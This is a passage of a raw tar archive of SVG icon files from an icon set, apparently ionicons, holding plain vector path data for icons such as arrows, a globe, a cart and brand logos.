39.3-94.8 39.3s-69.5-14-94.8-39.3c-25.3-25.3-39.3-59-39.3-94.8s14-69.5 39.3-94.8c25.3-25.3 59-39.3 94.8-39.3s69.5 14 94.8 39.3c25.4 25.3 39.3 59 39.3 94.8z"/></svg>collection/icon/svg/md-arrow-dropup-circle.svg000064400000000307151701353760015455 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 256c0-114.875-93.125-208-208-208S48 141.125 48 256s93.125 208 208 208 208-93.125 208-208zm-112 32H160l96-96 96 96z"/></svg>collection/icon/svg/ios-refresh-circle.svg000064400000000747151701353760014654 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm0 336.1c-70.7 0-128-57.3-128-128.1s57.3-128.1 128-128.1v-37c0-6.4 7.1-10.2 12.4-6.7l72.9 52.6c4.9 3.3 4.7 10.6-.4 13.6L268 196.7c-5.3 3.1-12-.8-12-6.9v-41.9c-60.3 0-109.2 49.7-108.1 110.2 1.1 59.1 50.3 106.7 109.5 106 55.9-.7 101.8-43.7 106.3-99 .4-5.2 4.7-9.1 9.9-9.1 5.8 0 10.4 4.9 9.9 10.7-5.4 66-60.4 117.4-127.5 117.4z"/></svg>collection/icon/svg/md-swap.svg000064400000000307151701353760012527 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M131.3 231.1L32 330.6l99.3 99.4v-74.6h174.5v-49.7H131.3v-74.6zM480 181.4L380.7 82v74.6H206.2v49.7h174.5v74.6l99.3-99.5z"/></svg>collection/icon/svg/md-medal.svg000064400000000540151701353760012636 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M273.5 152.1H48l54.1-103.9h240.7z"/><circle cx="256.2" cy="377.2" r="86.6"/><path d="M348.9 299.1l115.1-147-69.3-103.9L256.4 256c32.3 0 62.7 12.7 85.5 35.5 2.5 2.5 4.8 5 7 7.6zM205.8 266.6L152.3 186H48.4l90.1 161.5c5.2-21.2 16.1-40.6 32-56.4 10.4-10.3 22.3-18.6 35.3-24.5z"/></svg>collection/icon/svg/md-radio.svg000064400000000566151701353760012662 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M73.8 141.9c-15.2 6-25.8 21.8-25.8 39.5v256c0 23.5 18.5 42.7 41.6 42.7h332.8c23.1 0 41.6-19.2 41.6-42.7v-256c0-23.7-18.5-42.7-41.6-42.7H179l171.8-71.3L336.7 32 73.8 141.9zM160 438c-35.4 0-64-28.6-64-64s28.6-64 64-64 64 28.6 64 64-28.6 64-64 64zm256-171.3h-32v-46.2h-44.8v46.2H96v-85.3h320v85.3z"/></svg>collection/icon/svg/ios-star.svg000064400000000722151701353760012721 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M463 192H315.9L271.2 58.6C269 52.1 262.9 48 256 48s-13 4.1-15.2 10.6L196.1 192H48c-8.8 0-16 7.2-16 16 0 .9.1 1.9.3 2.7.2 3.5 1.8 7.4 6.7 11.3l120.9 85.2-46.4 134.9c-2.3 6.5 0 13.8 5.5 18 2.9 2.1 5.6 3.9 9 3.9 3.3 0 7.2-1.7 10-3.6l118-84.1 118 84.1c2.8 2 6.7 3.6 10 3.6 3.4 0 6.1-1.7 8.9-3.9 5.6-4.2 7.8-11.4 5.5-18L352 307.2l119.9-86 2.9-2.5c2.6-2.8 5.2-6.6 5.2-10.7 0-8.8-8.2-16-17-16z"/></svg>collection/icon/svg/ios-pulse.svg000064400000001034151701353760013075 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M434.6 272.1c-22.4-1.2-41.6 13.2-48.2 32.9h-38.9l-28.4-85.4c-2.2-6.6-8.3-11-15.2-11h-.3c-7 .1-13.1 4.8-15 11.6l-44.5 155.3-52.3-314.1c-1.2-7.5-7.6-13.1-15.2-13.4-7.6-.3-14.3 4.8-16.2 12.1l-53 244.9H48c-8.8 0-16 7.2-16 16s7.2 16 16 16h72c7.3 0 13.8-5 15.5-12.1l37.4-182.2 51.3 307.9c1.2 7.4 7.4 12.9 14.9 13.3h.9c7.1 0 13.4-4.7 15.4-11.6l49.7-173.6 15.7 47.3c2.2 6.5 8.3 11 15.2 11h51.1c6.9 18 24.4 31 44.9 31 27 0 48.8-22.3 48-49.5-.8-24.8-20.7-45.1-45.4-46.4z"/></svg>collection/icon/svg/md-musical-notes.svg000064400000000542151701353760014341 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M160 64v257.6c-8.2-2.7-17.2-4.1-26.6-4.1-38.3 0-69.4 27.1-69.4 65.4 0 38.3 31.1 65.1 69.4 65.1 38.3 0 69.6-28.2 69.6-69.1V200h202v121.6c-8.2-2.7-17.2-4.1-26.6-4.1-38.3 0-69.4 27.1-69.4 65.4 0 38.3 31.1 65.1 69.4 65.1 38.3 0 69.6-28.2 69.6-69.1V64H160zm245 96H203v-53h202v53z"/></svg>collection/icon/svg/md-rose.svg000064400000001111151701353760012517 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M260.6 214.8c23.8-40.9 48-71.6 91.4-96.4 8.3-4.8 21.2-8 22.8-8.9C290.7 83.7 256 32 256 32s-34.7 51.7-120.5 76.5c5.8 3.4 16.5 6.5 30.7 13.7 34.5 17.4 62.5 51.3 94.4 92.6zM246.3 253.4C186.7 161.2 131.4 126.8 48 126.8c54.2 78.6 52 174.6 52 215.4 0 76.1 69.8 137.8 156 137.8 57.6 0 107.9-27.6 135-68.7-35.5-27.6-85.1-65.7-144.7-157.9zM464 126.8s-55.2-2.3-85.2 15.4c-43 25.5-74.4 61.3-95.4 103.2 38.8 52 73 87.9 95.4 109.4 10.7 10.2 19.8 18.2 27.5 24.5 3.7-11.8 5.8-24.3 5.8-37.2-.1-40.8-17.4-114.1 51.9-215.3z"/></svg>collection/icon/svg/md-partly-sunny.svg000064400000001336151701353760014245 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M248.03 116.81l24.679-24.678 19.233 19.234-24.678 24.677zM176 125.7c-45.3 0-82.3 37-82.3 82.3 0 17.5 5.5 33.7 14.9 47 15.3-13 33.9-22.6 54.7-27.6l13.2-16.6c13.6-17.1 30.7-30.2 50.8-38.9 6.1-2.6 12.4-4.8 19-6.6-14.5-23.7-40.6-39.6-70.3-39.6zM162 64h28v41h-28zM32 194h41v28H32zM81.6 276.8l-.8-.8-24.7 24.7 19.2 19.2 24.7-24.7zM79.289 92.13l24.678 24.678-19.233 19.233-24.678-24.678zM405.6 288.6C394.7 233.4 346.2 192 288 192c-34 0-65.1 11.9-86.5 38.8 29.4 2.2 56.7 13 77.8 33.9 15.6 15.6 26.6 34.6 32.1 55.3h-28.7c-13.1-37.3-48-64-90.6-64-5.1 0-12.3.6-17.7 1.7C128.6 267.1 96 305 96 352c0 53 43 96 96 96h208c44.2 0 80-35.8 80-80 0-42.2-32.8-76.5-74.4-79.4z"/></svg>collection/icon/svg/ios-add-circle.svg000064400000000633151701353760013740 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm90.5 224H272v74.5c0 8.8-7.2 16-16 16-4.4 0-8.4-1.8-11.3-4.7-2.9-2.9-4.7-6.9-4.7-11.3V272h-74.5c-4.4 0-8.4-1.8-11.3-4.7-2.9-2.9-4.7-6.9-4.7-11.3 0-8.8 7.2-16 16-16H240v-74.5c0-8.8 7.2-16 16-16s16 7.2 16 16V240h74.5c8.8 0 16 7.2 16 16s-7.2 16-16 16z"/></svg>collection/icon/svg/md-moon.svg000064400000000363151701353760012527 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M195 125c0-26.3 5.3-51.3 14.9-74.1C118.7 73 51 155.1 51 253c0 114.8 93.2 208 208 208 97.9 0 180-67.7 202.1-158.9-22.8 9.6-47.9 14.9-74.1 14.9-106 0-192-86-192-192z"/></svg>collection/icon/svg/ios-git-pull-request.svg000064400000002104151701353760015167 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M393 341.6V206c0-14.7 0-42.1-9.4-65.3-11.9-29.2-36-44.7-69.6-44.7h-77.7L276 55.8c5.4-5.4 5.4-14.3 0-19.8l-.1-.1c-2.7-2.5-6.2-3.9-9.8-3.9-3.8 0-7.3 1.4-9.9 4.1l-54.8 54.6C192.9 61.5 165.9 40 134 40c-38.6 0-70 31.4-70 70 0 17 6.2 33.3 17.3 46.1 9.9 11.3 23.1 19.1 37.7 22.3v163.3c-14.5 3.2-27.8 11-37.7 22.3C70.2 376.7 64 393 64 410c0 38.6 31.4 70 70 70s70-31.4 70-70c0-17.4-6.4-34-18-46.9-10.3-11.4-24-19.1-39-21.9V178.8c15-2.8 28.7-10.5 39-21.9 7.6-8.4 12.9-18.4 15.7-29.1l56.4 56.2c2.6 2.6 6.1 4.1 9.9 4.1 3.7 0 7.3-1.4 9.9-4.1 2.6-2.6 4.1-6.1 4.1-9.9 0-3.7-1.4-7.3-4.1-9.9l-.1-.1-41.1-40.1H314c20.4 0 33.6 7.5 41.6 23.5 8.4 17 9.4 41.5 9.4 58.5v135.2c-15 2.8-28.7 10.5-39 21.9-11.6 12.9-18 29.5-18 46.9 0 38.6 31.4 70 70 70s70-31.4 70-70c0-17-6.2-33.3-17.3-46.1-9.9-11.3-23.2-19.1-37.7-22.3zM176 410c0 23.2-18.8 42-42 42s-42-18.8-42-42 18.8-42 42-42 42 18.8 42 42zm-42-258c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zm244 300c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42z"/></svg>collection/icon/svg/logo-twitter.svg000064400000001155151701353760013621 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M492 109.5c-17.4 7.7-36 12.9-55.6 15.3 20-12 35.4-31 42.6-53.6-18.7 11.1-39.4 19.2-61.5 23.5C399.8 75.8 374.6 64 346.8 64c-53.5 0-96.8 43.4-96.8 96.9 0 7.6.8 15 2.5 22.1-80.5-4-151.9-42.6-199.6-101.3-8.3 14.3-13.1 31-13.1 48.7 0 33.6 17.2 63.3 43.2 80.7-16-.4-31-4.8-44-12.1v1.2c0 47 33.4 86.1 77.7 95-8.1 2.2-16.7 3.4-25.5 3.4-6.2 0-12.3-.6-18.2-1.8 12.3 38.5 48.1 66.5 90.5 67.3-33.1 26-74.9 41.5-120.3 41.5-7.8 0-15.5-.5-23.1-1.4C62.8 432 113.7 448 168.3 448 346.6 448 444 300.3 444 172.2c0-4.2-.1-8.4-.3-12.5C462.6 146 479 129 492 109.5z"/></svg>collection/icon/svg/logo-css3.svg000064400000000532151701353760012770 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256.282 339.488zM64 32l34.946 403.219L255.767 480l157.259-44.85L448 32H64zm290.676 334.898l-98.607 28.125-98.458-28.248L150.864 289h48.253l3.433 39.562 53.586 15.163.132.273h.034l53.467-14.852L315.381 265H203l-4-50h120.646l4.396-51H140l-4-49h240.58l-21.904 251.898z"/></svg>collection/icon/svg/logo-android.svg000064400000001663151701353760013543 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M144 268.4V358c0 6.9 4.5 14 11.4 14H184v52c0 13.3 10.7 24 24 24s24-10.7 24-24v-52h49v52c0 7.5 3.4 14.2 8.8 18.6 3.9 3.4 9.1 5.4 14.7 5.4h.5c13.3 0 24-10.7 24-24v-52h27.6c7 0 11.4-7.1 11.4-13.9V192H144v76.4zM408 176c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24s24-10.7 24-24v-96c0-13.3-10.7-24-24-24zM104 176c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24s24-10.7 24-24v-96c0-13.3-10.7-24-24-24z"/><g><path d="M311.2 89.1l18.5-21.9c.4-.5-.2-1.6-1.3-2.5-1.1-.8-2.4-1-2.7-.4l-19.2 22.8c-13.6-5.4-30.2-8.8-50.6-8.8-20.5-.1-37.2 3.2-50.8 8.5l-19-22.4c-.4-.5-1.6-.4-2.7.4s-1.7 1.8-1.3 2.5l18.3 21.6c-48.2 20.9-55.4 72.2-56.4 87.2h223.6c-.9-15.1-8-65.7-56.4-87zm-104.4 49.8c-7.4 0-13.5-6-13.5-13.3 0-7.3 6-13.3 13.5-13.3 7.4 0 13.5 6 13.5 13.3 0 7.3-6 13.3-13.5 13.3zm98.4 0c-7.4 0-13.5-6-13.5-13.3 0-7.3 6-13.3 13.5-13.3 7.4 0 13.5 6 13.5 13.3 0 7.3-6.1 13.3-13.5 13.3z"/></g></svg>collection/icon/svg/ios-qr-scanner.svg000064400000001371151701353760014022 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M174 64h-58.8C78.1 64 48 94.1 48 131.2V190c0 7.7 6.3 14 14 14s14-6.3 14-14v-59.8c0-9.1 4.3-18.7 11.7-26.2 7.5-7.6 17.2-12 26.5-12H174c7.7 0 14-6.3 14-14s-6.3-14-14-14zM397.8 64H338c-7.7 0-14 6.3-14 14s6.3 14 14 14h59.8c9.3 0 19 4.4 26.5 12 7.4 7.5 11.7 17.1 11.7 26.2V190c0 7.7 6.3 14 14 14s14-6.3 14-14v-59.8c0-36.5-29.7-66.2-66.2-66.2zM174 420h-59.8c-9.3 0-19-4.4-26.5-12-7.4-7.5-11.7-17.1-11.7-26.2V322c0-7.7-6.3-14-14-14s-14 6.3-14 14v59.8c0 36.5 29.7 66.2 66.2 66.2H174c7.7 0 14-6.3 14-14s-6.3-14-14-14zM450 308c-7.7 0-14 6.3-14 14v59.8c0 9.1-4.3 18.7-11.7 26.2-7.5 7.6-17.2 12-26.5 12H338c-7.7 0-14 6.3-14 14s6.3 14 14 14h58.8c37 0 67.2-30.1 67.2-67.2V322c0-7.7-6.3-14-14-14z"/></svg>collection/icon/svg/ios-book.svg000064400000000737151701353760012710 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M146 64.1c54.1 0 100 27.9 100 82V446c0 2.2-3.1 2.7-3.8.7v-.1c-10.3-34.2-38.2-67.6-82.3-70.5-34.2-2.2-66.9 12.9-93.1 37.1-1.6 1.5-4.3 2.9-6.6 2.9h-4.5c-3.7 0-7.6-2.7-7.6-6.1V120.2C48 88.1 91.9 64.1 146 64.1zM366 64c-54.1 0-100 27.9-100 82v299.9c0 2.2 3.1 2.7 3.8.7v-.1c10.3-34.2 39.4-67.9 82.3-70.5 32.9-2 63.9 11 93.1 37.1 1.6 1.4 4.3 2.9 6.6 2.9h4.5c3.7 0 7.6-2.7 7.6-6.1V120c.1-32-43.8-56-97.9-56z"/></svg>collection/icon/svg/md-happy.svg000064400000001214151701353760012674 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C140.563 48 48 141.6 48 256s92.563 208 208 208 208-93.6 208-208S370.401 48 256 48zm0 374.4c-91.518 0-166.404-74.883-166.404-166.4 0-91.518 74.887-166.4 166.404-166.4S422.404 164.482 422.404 256 347.518 422.4 256 422.4zm72.8-187.2c17.683 0 31.201-13.518 31.201-31.2s-13.519-31.2-31.201-31.2c-17.682 0-31.2 13.518-31.2 31.2s13.518 31.2 31.2 31.2zm-145.6 0c17.682 0 31.2-13.518 31.2-31.2s-13.519-31.2-31.2-31.2c-17.683 0-31.201 13.518-31.201 31.2s13.519 31.2 31.201 31.2zM256 370.4c48.883 0 89.436-30.164 106.081-72.801H149.919C166.564 340.236 207.117 370.4 256 370.4z"/></svg>collection/icon/svg/md-videocam.svg000064400000000367151701353760013352 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M384 219.5v-85.2c0-13.4-11.2-24.3-24.9-24.3H56.9C43.2 110 32 120.9 32 134.3v243.3C32 391 43.2 402 56.9 402h302.2c13.7 0 24.9-11 24.9-24.3v-85.2l96 97.3V122.2l-96 97.3z"/></svg>collection/icon/svg/ios-cart.svg000064400000001414151701353760012700 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><ellipse transform="rotate(-1.057 159.995 423.97) scale(.99997)" cx="160" cy="424" rx="24" ry="24"/><ellipse transform="matrix(.02382 -.9997 .9997 .02382 -48.51 798.282)" cx="384.5" cy="424" rx="24" ry="24"/><path d="M463.8 132.2c-.7-2.4-2.8-4-5.2-4.2L132.9 96.5c-2.8-.3-6.2-2.1-7.5-4.7-3.8-7.1-6.2-11.1-12.2-18.6-7.7-9.4-22.2-9.1-48.8-9.3-9-.1-16.3 5.2-16.3 14.1 0 8.7 6.9 14.1 15.6 14.1s21.3.5 26 1.9c4.7 1.4 8.5 9.1 9.9 15.8 0 .1 0 .2.1.3.2 1.2 2 10.2 2 10.3l40 211.6c2.4 14.5 7.3 26.5 14.5 35.7 8.4 10.8 19.5 16.2 32.9 16.2h236.6c7.6 0 14.1-5.8 14.4-13.4.4-8-6-14.6-14-14.6H188.9c-2 0-4.9 0-8.3-2.8-3.5-3-8.3-9.9-11.5-26l-4.3-23.7c0-.3.1-.5.4-.6l277.7-47c2.6-.4 4.6-2.5 4.9-5.2l16-115.8c.2-.8.2-1.7 0-2.6z"/></svg>collection/icon/svg/ios-journal.svg000064400000000511151701353760013416 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M92.1 32C76.6 32 64 44.6 64 60.1V452c0 15.5 12.6 28.1 28.1 28.1H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H112.5c-8.2 0-15.4-6-16.4-14.1-1.1-9.7 6.5-18 15.9-18h208V32H92.1z"/><path d="M432 416c8.8 0 16-7.2 16-16V60.1c0-15.5-12.6-28.1-28.1-28.1H368v384h64z"/></svg>collection/icon/svg/md-arrow-dropright.svg000064400000000151151701353760014704 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M192 128l128 128-128 128z"/></svg>collection/icon/svg/logo-google.svg000064400000000751151701353760013374 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M457.6 224l-2.1-8.9H262V297h115.6c-12 57-67.7 87-113.2 87-33.1 0-68-13.9-91.1-36.3-23.7-23-38.8-56.9-38.8-91.8 0-34.5 15.5-69 38.1-91.7 22.5-22.6 56.6-35.4 90.5-35.4 38.8 0 66.6 20.6 77 30l58.2-57.9c-17.1-15-64-52.8-137.1-52.8-56.4 0-110.5 21.6-150 61C72.2 147.9 52 204 52 256s19.1 105.4 56.9 144.5c40.4 41.7 97.6 63.5 156.5 63.5 53.6 0 104.4-21 140.6-59.1 35.6-37.5 54-89.4 54-143.8 0-22.9-2.3-36.5-2.4-37.1z"/></svg>collection/icon/svg/ios-repeat.svg000064400000001632151701353760013231 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M336.6 157.5L303 124.1c-3.5-3.5-8.5-4.9-13.6-3.6-1.2.3-2.4.8-3.5 1.5-4.7 2.9-7.2 7.8-6.8 13.1.2 3.4 1.9 6.6 4.3 9.1l16 15.9H142c-20.8 0-40.3 8.1-55.1 22.9C72.1 197.7 64 217.2 64 238v16c0 7.7 6.3 14 14 14s14-6.3 14-14v-16c0-13.3 5.2-25.8 14.7-35.3 9.5-9.5 22-14.7 35.3-14.7h155.4l-16 15.9c-2.4 2.4-4 5.4-4.3 8.7-.4 4.2 1.1 8.3 4.1 11.3 2.6 2.6 6.2 4.1 9.9 4.1s7.2-1.4 9.9-4.1l35.6-35.4c4.2-4.1 6.5-9.7 6.5-15.5-.1-5.9-2.4-11.4-6.5-15.5zM434 244c-7.7 0-14 6.3-14 14v16c0 13.3-5.2 25.8-14.7 35.3-9.5 9.5-22 14.7-35.3 14.7H214.6l16-15.9c2.4-2.4 4-5.4 4.3-8.8.4-4.2-1.1-8.3-4.1-11.3-2.6-2.6-6.2-4.1-9.9-4.1s-7.2 1.4-9.9 4.1l-35.6 35.4c-4.2 4.1-6.5 9.7-6.5 15.5 0 5.9 2.3 11.4 6.5 15.5l33.6 33.4c3.5 3.5 8.5 4.9 13.6 3.6 1.2-.3 2.4-.8 3.5-1.5 4.7-2.9 7.2-7.8 6.8-13.1-.2-3.4-1.9-6.6-4.3-9.1l-16-15.9H370c43 0 78-35 78-78v-16c0-7.5-6.3-13.8-14-13.8z"/></svg>collection/icon/svg/md-browsers.svg000064400000000322151701353760013420 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M424 64H88c-26.6 0-48 21.6-48 48v288c0 26.4 21.4 48 48 48h336c26.4 0 48-21.6 48-48V112c0-26.4-21.4-48-48-48zm0 336H88V176h336v224z"/></svg>collection/icon/svg/md-share-alt.svg000064400000000306151701353760013434 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 248L288 96v85.334C138.666 202.667 85.333 309.334 64 416c53.333-74.666 117.333-108.802 224-108.802v87.469L448 248z"/></svg>collection/icon/svg/ios-recording.svg000064400000001003151701353760013715 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M386.2 146h-.1c-60.6 0-109.8 49.2-109.8 110.1 0 30.5 12.3 58 32.3 77.9H203.5c19.9-19.9 32.3-47.5 32.3-77.9 0-60.8-49.2-110.1-109.8-110.1h-.1-.1C65.2 146 16 195.2 16 256s49.2 110 109.8 110h260.4c60.6 0 109.8-49.2 109.8-110s-49.2-110-109.8-110zM464 256c0 43.1-34.9 78.2-77.9 78.2s-77.9-35.1-77.9-78.2 34.9-78.2 77.9-78.2S464 212.9 464 256zm-338.1 78.2C83 334.2 48 299.1 48 256s34.9-78.2 77.9-78.2 77.9 35.1 77.9 78.2-34.9 78.2-77.9 78.2z"/></svg>collection/icon/svg/md-rewind.svg000064400000000220151701353760013037 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M249.6 402V110L32 256l217.6 146zm12.8-146L480 402V110L262.4 256z"/></svg>collection/icon/svg/ios-switch.svg000064400000001017151701353760013247 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="144" cy="368" r="42"/><path d="M367.5 272h-223C91.2 272 48 315.2 48 368.5S91.2 464 144.5 464h223c53.3 0 96.5-42.2 96.5-95.5S420.8 272 367.5 272zM144 432c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z"/><circle cx="368" cy="144" r="42"/><path d="M144.5 240h223c53.3 0 96.5-42.2 96.5-95.5S420.8 48 367.5 48h-223C91.2 48 48 91.2 48 144.5S91.2 240 144.5 240zM368 80c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64z"/></svg>collection/icon/svg/ios-git-network.svg000064400000001651151701353760014224 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M377.4 32c-38.9 0-70.6 31.7-70.6 70.7 0 17.1 6.2 33.7 17.5 46.6 10 11.5 23.5 19.4 38.2 22.5v43.1L256 270.3l-106.4-55.4v-43.1c32.2-6.9 55.7-35.6 55.7-69.1 0-39-31.7-70.7-70.6-70.7S64 63.7 64 102.7c0 17.1 6.2 33.7 17.5 46.6 10 11.5 23.5 19.4 38.2 22.5v57.4c0 2.7 1.5 5.1 3.9 6.3l117.5 60.8v43.9c-32.2 6.9-55.7 35.6-55.7 69.1 0 39 31.7 70.7 70.6 70.7s70.6-31.7 70.6-70.7c0-17.1-6.2-33.7-17.5-46.6-10-11.5-23.5-19.4-38.2-22.5v-43.9l117.5-60.8c2.4-1.2 3.9-3.6 3.9-6.3v-57.4c32.2-6.9 55.7-35.6 55.7-69.1 0-39-31.7-70.7-70.6-70.7zM93.8 102.7c0-22.5 18.3-40.8 40.8-40.8s40.8 18.3 40.8 40.8c0 22.5-18.3 40.8-40.8 40.8s-40.8-18.3-40.8-40.8zm203 306.6c0 22.5-18.3 40.8-40.8 40.8s-40.8-18.3-40.8-40.8c0-22.5 18.3-40.8 40.8-40.8s40.8 18.3 40.8 40.8zm80.6-265.7c-22.5 0-40.8-18.3-40.8-40.8 0-22.5 18.3-40.8 40.8-40.8 22.5 0 40.8 18.3 40.8 40.8 0 22.4-18.3 40.8-40.8 40.8z"/></svg>collection/icon/svg/md-alert.svg000064400000000322151701353760012661 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.6 48 48 141.601 48 256s93.6 208 208 208 208-93.601 208-208S370.4 48 256 48zm24 312h-48v-40h48v40zm0-88h-48V144h48v128z"/></svg>collection/icon/svg/ios-globe.svg000064400000003003151701353760013033 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48h-.7c-55.4.2-107.4 21.9-146.6 61.1C69.6 148.4 48 200.5 48 256s21.6 107.6 60.8 146.9c39.1 39.2 91.2 60.9 146.6 61.1h.7c114.7 0 208-93.3 208-208S370.7 48 256 48zm180.2 194h-77.6c-.9-26.7-4.2-52.2-9.8-76.2 17.1-5.5 33.7-12.5 49.7-21 22 28.2 35 61.6 37.7 97.2zM242 242h-61.8c.8-24.5 3.8-47.7 8.8-69.1 17.4 3.9 35.1 6.3 53 7.1v62zm0 28v61.9c-17.8.8-35.6 3.2-53 7.1-5-21.4-8-44.6-8.8-69H242zm28 0h61.3c-.8 24.4-3.8 47.6-8.8 68.9-17.2-3.9-34.8-6.2-52.5-7V270zm0-28v-62c17.8-.8 35.4-3.2 52.5-7 5 21.4 8 44.5 8.8 69H270zm109.4-117.9c-12.3 6.1-25 11.3-38 15.5-7.1-21.4-16.1-39.9-26.5-54.5 24 8.3 45.9 21.6 64.5 39zM315 146.8c-14.7 3.2-29.8 5.2-45 6V79.4c17 9.2 33.6 33.9 45 67.4zM242 79v73.7c-15.4-.8-30.6-2.8-45.5-6.1 11.6-33.8 28.4-58.5 45.5-67.6zm-45.6 6.4c-10.3 14.5-19.2 32.9-26.3 54.1-12.8-4.2-25.4-9.4-37.5-15.4 18.4-17.3 40.1-30.5 63.8-38.7zm-82.9 59.5c15.8 8.4 32.3 15.4 49.2 20.8-5.7 23.9-9 49.5-9.8 76.2h-77c2.6-35.4 15.6-68.8 37.6-97zM75.8 270h77c.9 26.7 4.2 52.3 9.8 76.2-16.9 5.5-33.4 12.5-49.2 20.8-21.9-28.1-34.9-61.5-37.6-97zm56.7 117.9c12.1-6 24.7-11.2 37.6-15.4 7.1 21.3 16 39.6 26.3 54.2-23.7-8.4-45.4-21.5-63.9-38.8zm64-22.6c14.9-3.3 30.2-5.3 45.5-6.1V433c-17.2-9.1-33.9-33.9-45.5-67.7zm73.5 67.3v-73.5c15.2.8 30.3 2.8 45 6-11.4 33.6-28 58.3-45 67.5zm45-5.7c10.4-14.6 19.4-33.1 26.5-54.5 13 4.2 25.8 9.5 38 15.6-18.6 17.3-40.6 30.6-64.5 38.9zm83.5-59.8c-16-8.5-32.6-15.5-49.7-21 5.6-23.9 8.9-49.4 9.8-76.1h77.6c-2.7 35.5-15.6 68.9-37.7 97.1z"/></svg>collection/icon/svg/ios-chatbubbles.svg000064400000001621151701353760014225 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M431 320.6c0-4.4 1.2-8.6 3.3-12.2.6-1.1 1.4-2.1 2.1-3.1 17.4-26 27.6-57.1 27.6-90.3.3-92.2-77.5-167-173.7-167-83.9 0-153.9 57.1-170.3 132.9-2.4 11.1-3.7 22.4-3.7 34.2 0 92.3 74.8 169.1 171 169.1 15.3 0 35.9-4.6 47.2-7.7 11.3-3.1 22.5-7.2 25.4-8.3 2.9-1.1 6.1-1.7 9.3-1.7 3.6 0 7 .7 10.1 2l56.7 20.1s2.4 1 3.9 1c4.4 0 8-3.5 8-8 0-1-.5-2.7-.5-2.7L431 320.6z"/><path d="M318.5 392.5c-3.6 1-8.2 2.1-13.2 3.2-10.5 2.2-23.9 4.5-34 4.5-96.2 0-171-76.8-171-169.1 0-6.6.7-15 1.5-21.4.6-4.3 1.3-8.6 2.3-12.8 1-4.5 2.2-9 3.5-13.4l-8 7.1C66.8 219.2 48 260 48 302.5c0 29.3 8.5 57.5 24.8 82 2.3 3.5 3.6 6.2 3.2 8-.4 1.8-11.9 62-11.9 62-.6 2.9.5 5.8 2.7 7.7 1.5 1.2 3.3 1.8 5.1 1.8 1 0 2-.2 2.9-.6l56.1-22.1c1.8-.7 3.7-1.1 5.7-1.1 0 0 2.4-.2 6.3 1.3 18.9 7.4 39.8 12 60.7 12 46.6 0 90.4-20.1 120.1-55.1 0 0 3.2-4.4 6.9-9.6-3.7 1.3-7.9 2.6-12.1 3.7z"/></svg>collection/icon/svg/logo-slack.svg000064400000002002151701353760013204 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M213.6 236.216l64.003-21.438 20.708 61.823-64.004 21.438z"/><path d="M213.6 236.216l64.003-21.438 20.708 61.823-64.004 21.438z"/><path d="M475.9 190C426.4 25 355-13.4 190 36.1S-13.4 157 36.1 322 157 525.4 322 475.9 525.4 355 475.9 190zm-83.3 107.1l-31.1 10.4 10.7 32.2c4.2 13-2.7 27.2-15.7 31.5-2.7.8-5.8 